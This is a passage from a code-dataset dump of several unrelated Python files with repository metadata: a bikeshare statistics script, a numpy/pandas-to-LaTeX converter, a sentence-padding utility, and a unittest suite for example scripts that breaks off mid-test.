df[df[START_DAY_OF_WEEK] == day]\n                       \n    return df\n\n\ndef time_stats(df, is_display_month, is_display_day_in_week):\n    \"\"\"Displays statistics on the most frequent times of travel.\n    Args:\n        df - Pandas DataFrame containing city data filtered by month and day\n        (bool) is_display_month - if already filtered by month, don't display it\n        (bool) is_display_day_in_week - same as above for day of week\n    Returns:\n        month, day_of_week, hour (tuple of ints) -\n            Most frequent times of travel - day_of_week and/or hour may be None if already filtered by these   \n    \"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n    \n    month, day_of_week, hour = None, None, None\n                    \n    # TO DO: display the most common month\n    if is_display_month :\n        month = df[START_MONTH].mode()[0]\n        print(\"The most common start month {}\".format(months_in_year[month - 1]))\n\n    # TO DO: display the most common day of week\n    if is_display_day_in_week :\n        day_of_week = df[START_DAY_OF_WEEK].mode()[0]\n        print(\"The most common start day in the whole week {}\".format(days_in_week[day_of_week]))\n                      \n    # TO DO: display the most common start hour\n    hour = df[START_TIME].dt.hour.mode()[0]\n    print(\"The most common time {}\".format(hours[hour]))\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    \n    \n    return month, day_of_week, hour\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    # TO DO: display most commonly used start station\n    top_start = df['Start Station'].mode()[0]\n    common_start_station = (df['Start Station'] == top_start).sum()\n    print(\"The Common Start Station is {} ({} trips)\".format(top_start, common_start_station))\n\n    # TO DO: display most commonly used end station\n    top_end = df[END_STATION].mode()[0]\n    common_end_station = (df[END_STATION] == top_end).sum()\n    print('The Common End Station is {} ({} trips)'.format(top_end, common_end_station))\n\n    # TO DO: display most frequent combination of start station and end station trip\n    by_start_and_end = df.groupby([START_STATION, END_STATION]).size()\n    common_start_end_station = by_start_and_end.idxmax()\n    print('The Most Popular Combination Station is \\n{}, {} ({} trips)'.format(common_start_end_station[0], common_start_end_station[1], by_start_and_end[common_start_end_station]))\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    return top_start, top_end, common_start_end_station\n\n\ndef trip_duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration\"\"\"\n    \n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    # TO DO: display total travel time\n    total_travel_time = df[TRIP_DURATION].sum()\n    print('The total travelled time is\\n', total_travel_time)\n\n    # TO DO: display mean travel time\n    avg_travel_time = df['Trip Duration'].mean()\n    print('The average travel time is\\n', avg_travel_time)\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    return total_travel_time, avg_travel_time\n\n\ndef user_stats(df):\n    \"\"\"Displays statistics on bikeshare users.\n    \n    Returns:\n        user_dict - key type of user, value is count\n        gender_dict - same as above, for gender\n        earliest_year (int) of birth\n        most_recent_year (int) \"\n        most_common_year (int) \"   \n    \"\"\"\n\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n\n    # TO DO: Display counts of user types\n    user_type = df.groupby('User Type').count()\n    user_dict = {}\n    for index, row in user_type.iterrows():\n        user_dict[index] = row[0]\n        print(\"{}: {}\".format(index, row[0]))\n        \n    gender_dict = {}\n    if GENDER in df.columns:\n    \n    # TO DO: Display counts of gender\n        gender = df.groupby(GENDER).count()\n        print()\n        for index, row in gender.iterrows():\n            gender_dict[index] = row[0]\n            print(\"{}: {}\".format(index, row[0]))\n        \n    the_earliest_year = None\n    the_most_recent_year = None\n    the_most_common_year = None\n    if BIRTH_YEAR in df.columns:\n\n    # TO DO: Display earliest, most recent, and most common year of birth\n        birth_year = df[BIRTH_YEAR].dropna()\n        the_earliest_year = int(birth_year.min())\n        the_most_recent_year = int(birth_year.max())\n        the_most_common_year = int(birth_year.mode())\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    return user_dict, gender_dict, the_earliest_year, the_most_recent_year, the_most_common_year\n    print('-'*40)\n\ndef main():\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n\n        time_stats(df, month is None, day is None)\n        station_stats(df)\n        trip_duration_stats(df)\n        user_stats(df)\n\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            print(\"Have a great day. Goodbye!\")\n            break\n\nif __name__ == \"__main__\":\n\tmain()\n\n", "meta": {"hexsha": "fdc05e50711bccc8d504e84fa3a21543e27db365", "size": 10422, "ext": "py", "lang": "Python", "max_stars_repo_path": "bikeshare.py", "max_stars_repo_name": "SparshaMishra/BikeShareAnalysis", "max_stars_repo_head_hexsha": "1b98eb7d9aacf8b92aceb7209c1c94ad848c214e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-06-16T10:43:14.000Z", "max_stars_repo_stars_event_max_datetime": "2019-06-16T10:43:14.000Z", "max_issues_repo_path": "bikeshare.py", "max_issues_repo_name": "SparshaMishra/BikeShareAnalysis", "max_issues_repo_head_hexsha": "1b98eb7d9aacf8b92aceb7209c1c94ad848c214e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bikeshare.py", "max_forks_repo_name": "SparshaMishra/BikeShareAnalysis", "max_forks_repo_head_hexsha": "1b98eb7d9aacf8b92aceb7209c1c94ad848c214e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-12-28T18:38:49.000Z", "max_forks_repo_forks_event_max_datetime": "2019-12-28T18:38:49.000Z", "avg_line_length": 36.3135888502, "max_line_length": 230, "alphanum_fraction": 0.5924006908, "include": true, "reason": "import numpy", "num_tokens": 2564, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46101677931231594, "lm_q2_score": 0.1259227582746744, "lm_q1q2_score": 0.05805250446191367}}
{"text": "\"\"\"\nReturn numpy arrays and Pandas dataframes as LaTeX.\n\nProvides `to_ltx` and `to_clp` which convert numpy arrays and Pandas dataframes\narrays to LaTeX form.\n\"\"\"\n\n# Note- version must also be set in setup.py\n__version__ = '0.82'\n__all__ = ['to_clp', 'to_ltx', '__version__']\n\n__author__ = u'Joseph C. Slater'\n__license__ = 'MIT'\n__copyright__ = 'Copyright 2018 Joseph C. Slater'\n\nimport numpy as _np\nimport pandas as _pd\n\n\ndef to_clp(a, frmt='{:1.2f}', arraytype='bmatrix', imstring='j'):\n    r\"\"\"\n    Return a LaTeX array the the clipboard given a numpy array.\n\n    Parameters\n    ----------\n    a         : float array\n    frmt      : string\n        python 3 formatter, optional-\n        https://mkaz.tech/python-string-format.html\n    arraytype : string\n        latex array type- `bmatrix` default, optional\n    imstring : string (optional)\n        Character for square root of -1. Usually i or j\n\n    Returns\n    -------\n    out: str\n        LaTeX array\n\n    See Also\n    --------\n    array_to_latex\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> import array_to_latex as a2l\n    >>> A = np.array([[1.23456, 23.45678],[456.23, 8.239521]])\n    >>> a2l.to_clp(A, frmt = '{:6.2f}', arraytype = 'array')\n\n    Note that the output is in your clipboard, so you won't see any results.\n    See `to_ltx` for further examples.\n\n    \"\"\"\n    b = to_ltx(a, frmt=frmt, arraytype=arraytype, nargout=1, imstring=imstring, print_out=False)\n    try:\n        import clipboard as _clipboard\n        _clipboard.copy(b)\n    except ImportError:\n        print('\\nPackage ''clipboard'' is not installed')\n        print('pip install clipboard\\nor install via other ',\n              'means to use this function')\n\n\ndef _numpyarraytolatex(a, frmt='{:6.2f}', arraytype='bmatrix', nargout=0,\n                       imstring='j', row=True, mathform=True):\n    r\"\"\"Return a LaTeX array given a numpy array.\n\n    Parameters\n    ----------\n    a         : float array\n    frmt      : string\n        python 3 formatter, optional-\n        https://mkaz.tech/python-string-format.html\n    arraytype : string\n        latex array type- `bmatrix` default, optional\n    imstring : string (optional)\n        Character for square root of -1. Usually i or j\n    row      : Boolean\n        If the array is 1-D, should the output be\n            a row (True) or column (False)\n\n    Returns\n    -------\n    out: str\n        LaTeX array\n\n    See Also\n    --------\n    to_clp\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> import array_to_latex as a2l\n    >>> A = np.array([[1.23456, 23.45678],[456.23, 8.239521]])\n    >>> a2l.to_ltx(A, frmt = '{:6.2f}', arraytype = 'array')\n    \\begin{array}\n        1.23 &   23.46\\\\\n      456.23 &    8.24\n    \\end{array}\n    None\n    >>> a2l.to_ltx(A, frmt = '{:6.2e}', arraytype = 'array')\n    \\begin{array}\n      1.23e+00 &  2.35e+01\\\\\n      4.56e+02 &  8.24e+00\n    \\end{array}\n    None\n    >>> a2l.to_ltx(A, frmt = '{:.3g}', arraytype = 'array')\n    \\begin{array}\n      1.23 &  23.5\\\\\n      456 &  8.24\n    \\end{array}\n    None\n\n    \"\"\"\n    if len(a.shape) > 2:\n        raise ValueError('bmatrix can at most display two dimensions')\n\n    if len(a.shape) == 1:\n        a = _np.array([a])\n        if row is False:\n            a = a.T\n\n    out = r'\\begin{' + arraytype + '}\\n'\n    for i in _np.arange(a.shape[0]):\n        out = out + ' '\n        for j in _np.arange(a.shape[1]):\n            if _np.real(a[i, j]) < 0:\n                leadstr = ''\n            else:\n                leadstr = ' '\n            if '.' not in frmt.format(a[i, j]):\n                dot_space = ' '\n            else:\n                dot_space = ''\n            if _np.iscomplexobj(a[i, j]):\n                out = (out + leadstr\n                       + math_form(frmt.format(_np.real(a[i, j])),\n                                   mathform=mathform)\n                       + ' + '\n                       + math_form(frmt.format(_np.imag(a[i, j])),\n                                   is_imaginary=True,\n                                   mathform=mathform)\n                       + imstring\n                       + dot_space + ' & ')\n            else:\n                out = (out\n                       + leadstr\n                       + math_form(frmt.format(_np.real(a[i, j])),\n                                   mathform=mathform)\n                       + dot_space\n                       + r' & ')\n\n        out = out[:-3]\n        out = out + '\\\\\\\\\\n'\n\n    out = out[:-3] + '\\n' + r'\\end{' + arraytype + '}'\n\n    return out\n\n\ndef _dataframetolatex(df,\n                      frmt='{:6.2f}',\n                      arraytype='tabular',\n                      nargout=0,\n                      imstring='j',\n                      row=True,\n                      mathform=True):\n    r\"\"\"\n    Return a LaTeX array given a Pandas DataFrame array.\n\n    Parameters\n    ----------\n    a         : float array\n    frmt      : string\n        python 3 formatter, optional-\n        https://mkaz.tech/python-string-format.html\n    arraytype : string\n        latex array type- `bmatrix` default, optional\n    imstring  : string (optional)\n        Character for square root of -1. Usually i or j\n    row       : Boolean (optional: default True)\n        If the array is 1-D, should the output be\n            a row (True) or column (False)\n    mathform  : Boolean (optional: default True)\n        Replace #E# with #\\times10^{#}\n\n\n    Returns\n    -------\n    out: str\n        LaTeX array\n\n    See Also\n    --------\n    to_clp\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> import array_to_latex as a2l\n    >>> A = np.array([[1.23456, 23.45678],[456.23, 8.239521]])\n    >>> a2l.to_ltx(A, frmt = '{:6.2f}', arraytype = 'array')\n    \\begin{array}\n        1.23 &   23.46\\\\\n      456.23 &    8.24\n    \\end{array}\n    None\n    >>> a2l.to_ltx(A, frmt = '{:6.2e}', arraytype = 'array')\n    \\begin{array}\n      1.23e+00 &  2.35e+01\\\\\n      4.56e+02 &  8.24e+00\n    \\end{array}\n    None\n    >>> a2l.to_ltx(A, frmt = '{:.3g}', arraytype = 'array')\n    \\begin{array}\n      1.23 &  23.5\\\\\n      456 &  8.24\n    \\end{array}\n    None\n\n    \"\"\"\n    columns = df.columns\n    rows = df.transpose().columns\n    a = _np.array(df)\n    out = r'\\begin{' + arraytype + '}'\n\n    if arraytype == 'tabular':\n        out += r'{l'\n        for column in columns:\n            out += 'r'\n        out += r'}'\n\n    out += '\\n'\n\n    if arraytype == 'tabular':\n        out += '\\\\toprule\\n'\n\n        out = out + '     '\n        for column in columns:\n            out += '& ' + column + ' '\n        out += r'\\\\\\n'\n\n    if arraytype == 'tabular':\n        out += '\\\\midrule\\n'\n\n    for i in _np.arange(a.shape[0]):\n        out = out + ' ' + str(rows[i]) + ' & '\n        for j in _np.arange(a.shape[1]):\n            if isinstance(a[i, j], str):\n                leadstr = ' '\n                dot_space = (max([len(pet)\n                                  for pet in a[:, j]]) - len(a[i, j])) * ' '\n                out = (out + leadstr + a[i, j] + dot_space + ' & ')\n            else:\n                if _np.real(a[i, j]) < 0:\n                    leadstr = ''\n                else:\n                    leadstr = ' '\n                if '.' not in frmt.format(a[i, j]):\n                    dot_space = ' '\n                else:\n                    dot_space = ''\n                if _np.iscomplexobj(a[i, j]):\n                    out = (out + leadstr\n                           + math_form(frmt.format(_np.real(a[i, j])),\n                                       mathform=mathform)\n                           + ' + '\n                           + math_form(frmt.format(_np.imag(a[i, j])),\n                                       is_imaginary=True,\n                                       mathform=mathform)\n                           + imstring\n                           + dot_space + ' & ')\n                else:\n                    out = (out + leadstr\n                           + math_form(frmt.format(a[i, j]),\n                                       mathform=mathform)\n                           + dot_space + ' & ')\n\n        out = out[:-3]\n        out += '\\\\\\\\\\n'\n\n    if arraytype == 'tabular':\n        out += '\\\\bottomrule\\n'\n        out += r'\\end{' + arraytype + '}'\n    else:\n        out = out[:-3] + '\\n' + r'\\end{' + arraytype + '}'\n\n    return out\n\ndef to_ltx(a, frmt='{:1.2f}', arraytype=None, nargout=0,\n           imstring='j', row=True, mathform=True, print_out=True):\n    r\"\"\"\n    Print or return a LaTeX array given a numpy array or Pandas dataframe.\n\n    Parameters\n    ----------\n    a         : float array\n    frmt      : string\n        python 3 formatter, optional-\n        https://mkaz.tech/python-string-format.html\n    arraytype : string\n        latex array type- `bmatrix` default, optional\n    imstring : string (optional)\n        Character for square root of -1. Usually i or j\n    row        : Boolean (optional: default True)\n        If the array is 1-D, should the output be\n            a row (True) or column (False)\n    mathform  : Boolean (optional: default True)\n        Replace #E# with #\\times10^{#}\n\n\n    Returns\n    -------\n    out: str\n        LaTeX array\n\n    See Also\n    --------\n    to_clp\n\n    Examples\n    --------\n    >>> import numpy as np\n    >>> import array_to_latex as a2l\n    >>> A = np.array([[1.23456, 23.45678],[456.23, 8.239521]])\n    >>> a2l.to_ltx(A, frmt = '{:6.2f}', arraytype = 'array')\n    \\begin{array}\n        1.23 &   23.46\\\\\n      456.23 &    8.24\n    \\end{array}\n    None\n    >>> a2l.to_ltx(A, frmt = '{:6.2e}', arraytype = 'array')\n    \\begin{array}\n      1.23e+00 &  2.35e+01\\\\\n      4.56e+02 &  8.24e+00\n    \\end{array}\n    None\n    >>> a2l.to_ltx(A, frmt = '{:.3g}', arraytype = 'array')\n    \\begin{array}\n      1.23 &  23.5\\\\\n      456  &  8.24\n    \\end{array}\n    None\n\n    \"\"\"\n    if isinstance(a, _np.ndarray):\n\n        if arraytype is None:\n            arraytype = 'bmatrix'\n        latex = _numpyarraytolatex(a, frmt=frmt, arraytype=arraytype,\n                                   nargout=nargout, imstring=imstring,\n                                   row=row, mathform=mathform)\n\n    elif isinstance(a, _pd.core.frame.DataFrame):\n\n        if arraytype is None:\n            arraytype = 'tabular'\n        latex = _dataframetolatex(a, frmt=frmt, arraytype=arraytype,\n                                  nargout=nargout, imstring=imstring)\n    else:\n        raise TypeError(\"Argument should be a \"\n                        \"numpy array or a pandas DataFrame.\")\n    if print_out is True:\n        print(latex)\n        return\n\n    return latex\n\n\ndef math_form(number, is_imaginary=False, mathform=True):\n    if mathform:\n        if 'e' in number:\n            number = number.replace('e', '\\\\times 10^{') + '}'\n    return number\n", "meta": {"hexsha": "a406b7fdaebf42694cc2f7c1b2513f0ded28095f", "size": 10734, "ext": "py", "lang": "Python", "max_stars_repo_path": "build/lib/array_to_latex/__init__.py", "max_stars_repo_name": "josephcslater/to_latex", "max_stars_repo_head_hexsha": "b8fabe61c33c3fd6343254219e0c2d5cdf70d5e5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 37, "max_stars_repo_stars_event_min_datetime": "2019-01-22T09:35:28.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-08T12:43:44.000Z", "max_issues_repo_path": "build/lib/array_to_latex/__init__.py", "max_issues_repo_name": "josephcslater/to_latex", "max_issues_repo_head_hexsha": "b8fabe61c33c3fd6343254219e0c2d5cdf70d5e5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2019-04-24T00:48:31.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-20T11:52:15.000Z", "max_forks_repo_path": "build/lib/array_to_latex/__init__.py", "max_forks_repo_name": "josephcslater/to_latex", "max_forks_repo_head_hexsha": "b8fabe61c33c3fd6343254219e0c2d5cdf70d5e5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 12, "max_forks_repo_forks_event_min_datetime": "2018-04-09T20:49:42.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-17T13:21:55.000Z", "avg_line_length": 28.4721485411, "max_line_length": 96, "alphanum_fraction": 0.4787590833, "include": true, "reason": "import numpy", "num_tokens": 2945, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11596072741941772, "lm_q1q2_score": 0.05798036370970886}}
{"text": "\"\"\"Utility module for sentiment analysis.\"\"\"\r\n\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nimport numpy as np\r\n\r\nSTART_CHAR = 1\r\nEND_CHAR = 2\r\nOOV_CHAR = 3\r\n\r\n\r\ndef pad_sentence(sentence, sentence_length):\r\n  \"\"\"Pad the given sentense at the end.\r\n\r\n  If the input is longer than sentence_length,\r\n  the remaining portion is dropped.\r\n  END_CHAR is used for the padding.\r\n\r\n  Args:\r\n    sentence: A numpy array of integers.\r\n    sentence_length: The length of the input after the padding.\r\n  Returns:\r\n    A numpy array of integers of the given length.\r\n  \"\"\"\r\n  sentence = sentence[:sentence_length]\r\n  if len(sentence) < sentence_length:\r\n    sentence = np.pad(sentence, (0, sentence_length - len(sentence)),\r\n                      \"constant\", constant_values=(START_CHAR, END_CHAR))\r\n\r\n  return sentence\r\n", "meta": {"hexsha": "b8498f7e5033de8f7daaa91b53b4733a075f6cbc", "size": 879, "ext": "py", "lang": "Python", "max_stars_repo_path": "research/sentiment_analysis/data/util.py", "max_stars_repo_name": "vincentcheny/models", "max_stars_repo_head_hexsha": "afb1a59fc1bc792ac72d1a3e22e2469020529788", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-09-11T09:41:11.000Z", "max_stars_repo_stars_event_max_datetime": "2019-09-11T09:41:11.000Z", "max_issues_repo_path": "research/sentiment_analysis/data/util.py", "max_issues_repo_name": "vincentcheny/models", "max_issues_repo_head_hexsha": "afb1a59fc1bc792ac72d1a3e22e2469020529788", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "research/sentiment_analysis/data/util.py", "max_forks_repo_name": "vincentcheny/models", "max_forks_repo_head_hexsha": "afb1a59fc1bc792ac72d1a3e22e2469020529788", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.6363636364, "max_line_length": 74, "alphanum_fraction": 0.7042093288, "include": true, "reason": "import numpy", "num_tokens": 191, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4186969238628498, "lm_q2_score": 0.13846178523628042, "lm_q1q2_score": 0.05797352355098916}}
{"text": "#!/usr/bin/env python\n\n\"\"\"Test all the .py files in the examples/ dir.\n\nEach module should have its own test case.\n\"\"\"\n\nfrom __future__ import print_function\n\nimport os.path\nimport shlex\nimport subprocess\nimport sys\nimport unittest\n\n\nclass _PyTestCase(unittest.TestCase):\n    \"\"\"Helper class for testing .py scripts.\"\"\"\n\n    def runpy(self, py_file, stdin=None):\n        \"\"\"Run python script and return output.\n\n        This is sort of like check_output, which was introduced in python 2.7.\n        \"\"\"\n        cmd = [sys.executable]\n        cmd += shlex.split(py_file)\n        stdin_val = subprocess.PIPE if stdin else None\n        p = subprocess.Popen(cmd, stdout=subprocess.PIPE,\n                             stderr=subprocess.STDOUT, stdin=stdin_val)\n        output, _ = p.communicate(input=stdin)\n        return output\n\n\nclass PyToChplTests(_PyTestCase):\n\n    def test_arrays_init(self):\n        self.assertEqual(\n            \"\"\"[ 1.  2.  3.  4.  5.  6.  7.  8.  9. 10.]\n\"\"\",\n            self.runpy('arrays.init.py'))\n\n    def test_arrays_promo(self):\n        self.assertEqual(\n            \"\"\"[1.         1.41421356 1.73205081 2.         2.23606798 2.44948974\n 2.64575131 2.82842712 3.         3.16227766]\n[3.0, 6.0, 9.0, 12.0, 15.0, 18.0, 21.0, 24.0, 27.0, 30.0]\n[6.0, 12.0, 18.0, 24.0, 30.0, 36.0, 42.0, 48.0, 54.0, 60.0]\n\"\"\",\n            self.runpy('arrays.promo.py'))\n\n    def test_arrays(self):\n        self.assertEqual(\n            \"\"\"0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n0.0\n(0,0) = 0.000000\n(0,1) = 0.000000\n(0,2) = 0.000000\n(0,3) = 0.000000\n(0,4) = 0.000000\n(0,5) = 0.000000\n(0,6) = 0.000000\n(0,7) = 0.000000\n(0,8) = 0.000000\n(0,9) = 0.000000\n(1,0) = 0.000000\n(1,1) = 0.000000\n(1,2) = 0.000000\n(1,3) = 0.000000\n(1,4) = 0.000000\n(1,5) = 0.000000\n(1,6) = 0.000000\n(1,7) = 0.000000\n(1,8) = 0.000000\n(1,9) = 0.000000\n(2,0) = 0.000000\n(2,1) = 0.000000\n(2,2) = 0.000000\n(2,3) = 0.000000\n(2,4) = 0.000000\n(2,5) = 0.000000\n(2,6) = 0.000000\n(2,7) = 0.000000\n(2,8) = 0.000000\n(2,9) = 0.000000\n(3,0) = 0.000000\n(3,1) = 0.000000\n(3,2) = 0.000000\n(3,3) = 0.000000\n(3,4) = 0.000000\n(3,5) = 0.000000\n(3,6) = 0.000000\n(3,7) = 0.000000\n(3,8) = 0.000000\n(3,9) = 0.000000\n(4,0) = 0.000000\n(4,1) = 0.000000\n(4,2) = 0.000000\n(4,3) = 0.000000\n(4,4) = 0.000000\n(4,5) = 0.000000\n(4,6) = 0.000000\n(4,7) = 0.000000\n(4,8) = 0.000000\n(4,9) = 0.000000\n(5,0) = 0.000000\n(5,1) = 0.000000\n(5,2) = 0.000000\n(5,3) = 0.000000\n(5,4) = 0.000000\n(5,5) = 0.000000\n(5,6) = 0.000000\n(5,7) = 0.000000\n(5,8) = 0.000000\n(5,9) = 0.000000\n(6,0) = 0.000000\n(6,1) = 0.000000\n(6,2) = 0.000000\n(6,3) = 0.000000\n(6,4) = 0.000000\n(6,5) = 0.000000\n(6,6) = 0.000000\n(6,7) = 0.000000\n(6,8) = 0.000000\n(6,9) = 0.000000\n(7,0) = 0.000000\n(7,1) = 0.000000\n(7,2) = 0.000000\n(7,3) = 0.000000\n(7,4) = 0.000000\n(7,5) = 0.000000\n(7,6) = 0.000000\n(7,7) = 0.000000\n(7,8) = 0.000000\n(7,9) = 0.000000\n(8,0) = 0.000000\n(8,1) = 0.000000\n(8,2) = 0.000000\n(8,3) = 0.000000\n(8,4) = 0.000000\n(8,5) = 0.000000\n(8,6) = 0.000000\n(8,7) = 0.000000\n(8,8) = 0.000000\n(8,9) = 0.000000\n(9,0) = 0.000000\n(9,1) = 0.000000\n(9,2) = 0.000000\n(9,3) = 0.000000\n(9,4) = 0.000000\n(9,5) = 0.000000\n(9,6) = 0.000000\n(9,7) = 0.000000\n(9,8) = 0.000000\n(9,9) = 0.000000\n\"\"\",\n            self.runpy('arrays.py'))\n\n    def test_arrays_reduc(self):\n        self.assertEqual(\n            \"\"\"55.0\n[ 1.  3.  6. 10. 15. 21. 28. 36. 45. 55.]\n\"\"\",\n            self.runpy('arrays.reduc.py'))\n\n    def test_arrays_whole(self):\n        \"\"\"Check that 100 random lines are printed.\"\"\"\n        self.assertEqual(\n            100, len(self.runpy('arrays_whole.py').splitlines()))\n        # Also spot check the results when seeded with 173...\n        seed_173_results = self.runpy(\n            '-c \"import numpy; numpy.random.seed(173); import arrays_whole\"').splitlines()\n        self.assertAlmostEqual(1.93667466205, eval(seed_173_results[0]))\n        self.assertAlmostEqual(2.5402632511, eval(seed_173_results[42]))\n        self.assertAlmostEqual(0.964120007336, eval(seed_173_results[-1]))\n\n    def test_classes(self):\n        self.assertEqual('Green\\n', self.runpy('classes.py'))\n\n    def test_comments(self):\n        self.assertEqual('', self.runpy('comments.py'))\n\n    def test_cond_if_green(self):\n        self.assertEqual(\n            \"\"\"Which color is the traffic light?\nYou can cross the street now.\nYou can cross the street now.\nYou can cross the street now.\nYou can cross the street now.\n\"\"\",\n            self.runpy('cond.if.py', 'green\\n'))\n\n    def test_conf_if_red(self):\n        self.assertEqual(\n            \"\"\"Which color is the traffic light?\nWait for the green light.\nDo not cross!\n\"\"\",\n            self.runpy('cond.if.py', 'red\\n'))\n\n    def test_conf_if_yellow(self):\n        self.assertEqual(\n            \"\"\"Which color is the traffic light?\nWait for the green light.\nCAUTION!\nCAUTION!\n\"\"\",\n            self.runpy('cond.if.py', 'yellow\\n'))\n\n    def test_cond_switch_green(self):\n        self.assertEqual(\n            \"\"\"Which color is the traffic light?\nYou can cross the street now.\n\"\"\",\n            self.runpy('cond.switch.py', 'green\\n'))\n\n    def test_cond_switch_red(self):\n        self.assertEqual(\n            \"\"\"Which color is the traffic light?\nDo not cross!\n\"\"\",\n            self.runpy('cond.switch.py', 'red\\n'))\n\n    def test_cond_switch_yellow(self):\n        self.assertEqual(\n            \"\"\"Which color is the traffic light?\nCAUTION!\n\"\"\",\n            self.runpy('cond.switch.py', 'yellow\\n'))\n\n    def test_cond_switch_garbage(self):\n        self.assertEqual(\n            \"\"\"Which color is the traffic light?\nWARNING! Traffic-light is broken!\n\"\"\",\n            self.runpy('cond.switch.py', 'Hawt Garbage\\n'))\n\n    def test_console(self):\n        self.assertEqual(\n            \"\"\"Hello, you.\nHello, you.\n\"\"\",\n            self.runpy('console.py'))\n\n    def test_console_read__true_true(self):\n        self.assertEqual(\n            \"\"\"The Answer to the ultimate question is?\nThat is True\nWhat is the largest biological computer?\nThat is True\n\"\"\",\n            self.runpy('console.read.py', '42\\nEarth\\n'))\n\n    def test_console_read__true_false(self):\n        self.assertEqual(\n            \"\"\"The Answer to the ultimate question is?\nThat is True\nWhat is the largest biological computer?\nThat is False\n\"\"\",\n            self.runpy('console.read.py', '42\\nCray XC\\n'))\n\n    def test_console_read__false_true(self):\n        self.assertEqual(\n            \"\"\"The Answer to the ultimate question is?\nThat is False\nWhat is the largest biological computer?\nThat is True\n\"\"\",\n            self.runpy('console.read.py', '17\\nEarth\\n'))\n\n    def test_console_read__false_false(self):\n        self.assertEqual(\n            \"\"\"The Answer to the ultimate question is?\nThat is False\nWhat is the largest biological computer?\nThat is False\n\"\"\",\n            self.runpy('console.read.py', '101010\\nGoogel\\n'))\n\n    def test_dicts(self):\n        self.assertEqual(\n            \"\"\"Key=0, Value=Green\nKey=1, Value=Yellow\nKey=2, Value=Red\n\"\"\",\n            self.runpy('dicts.py'))\n\n    def test_division(self):\n        self.assertEqual(\n            \"\"\"Result of 9.0 / 4 = 2.25\nResult of 9 / 4.0 = 2.25\nResult of 9 / 4 = 2\nResult of 9.0 / 4.0 = 2.25\n\"\"\",\n            self.runpy('division.py'))\n\n    def test_func_decl(self):\n        import func_decl\n        self.assertEqual('', self.runpy('func_decl.py'))\n        self.assertEqual(10, func_decl.abs(10))\n        self.assertEqual(10, func_decl.abs(-10))\n        self.assertEqual(0, func_decl.abs(0))\n\n    def test_hw(self):\n        self.assertEqual('Hello, World!\\n', self.runpy('hw.py'))\n\n    def test_hw_main(self):\n        self.assertEqual('Hello, World!\\n', self.runpy('hw.main.py'))\n\n    def test_literals(self):\n        self.assertEqual('', self.runpy('literals.py'))\n        import literals\n        self.assertFalse(literals.bl)\n        self.assertEqual(42, literals.ud)\n        self.assertEqual(-42, literals.sd)\n        self.assertEqual(42, literals.hd)\n        self.assertEqual(42, literals.bd)\n        self.assertEqual(42.0, literals.r)\n        self.assertEqual('42', literals.s)\n        self.assertEqual(1.0, literals.z.real)\n        self.assertEqual(2.0, literals.z.imag)\n\n    def test_loops_enumerate(self):\n        self.assertEqual(\n            \"\"\"0 running\n1 with\n2 scissors\n\"\"\",\n            self.runpy('loops.enumerate.py'))\n\n    def test_loops_for(self):\n        self.assertEqual(\n            